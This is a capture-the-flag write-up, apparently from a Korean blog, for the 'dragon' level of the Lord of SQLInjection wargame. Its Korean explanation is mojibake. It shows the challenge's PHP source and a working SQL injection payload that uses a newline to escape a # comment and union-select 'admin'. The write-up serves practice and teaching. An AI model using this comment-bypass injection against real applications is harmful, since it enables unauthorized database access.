1. Code
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("dragon");
highlight_file(__FILE__);
?>
2. Condition
- ์ฟผ๋ฆฌ์ #๋ฅผํตํด ์ฃผ์์ฒ๋ฆฌ๊ฐ ๋์ด, and pw ์ดํ๋ ๋ฌด์ํ๋ ค ํ๋ค.
- ์ฟผ๋ฆฌ ์คํ ๊ฒฐ๊ณผ์ id๊ฐ admin์ด๋ผ๋ฉด ๋ฌธ์ ๊ฐ ํด๊ฒฐ๋๋ค.
3. Solution
#์ ์ ํํ ์๋ฏธ๋ฅผ ์๋ค๋ฉด ์ฝ๊ฒ ํด๊ฒฐ ๊ฐ๋ฅํ ๋ฌธ์ ์ด๋ค.
mysql์ #์ ํ์ค์ฃผ์์ ์๋ฏธํ๋ค. ๋ง๋ค, ํ์ค์ฃผ์์ด๋ค.
๊ทธ๋ ๋ค๋ฉด ๊ฐํ(%0a)์ ํ์ฌ ์ฟผ๋ฆฌ๋ฅผ ์ด์ด๊ฐ๋ค๋ฉด ์ ๋ ฅ๋ ๊ฒ์ด๋ค.
4. Injection
๋๋ณด๊ธฐ
์ต์ข ์ฟผ๋ฆฌ๋ ๋ค์๊ณผ ๊ฐ๋ค.
๋ณ์๋ช | ๊ฐ |
pw | %0aunion select 'admin' order by id# |
์๋ซ์ค์ union select๋ฅผ ์ด์ฉํ์ฌ admin์ ์ถ๊ฐํด ์ฃผ์๊ณ , order by๋ก ์๋น๊ฒจ ์ฃผ์๋ค.
์ฑ๊ณต์ ์ผ๋ก ๋ฌธ์ ๊ฐ ํด๊ฒฐ๋๋ค.
'wargame ๐ดโโ ๏ธ write-up > Lord of SQLInjection' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
xavis (0) | 2023.08.03 |
---|---|
nightmare (0) | 2023.08.03 |
zombie_assasin (0) | 2023.08.03 |
succubus (0) | 2023.08.01 |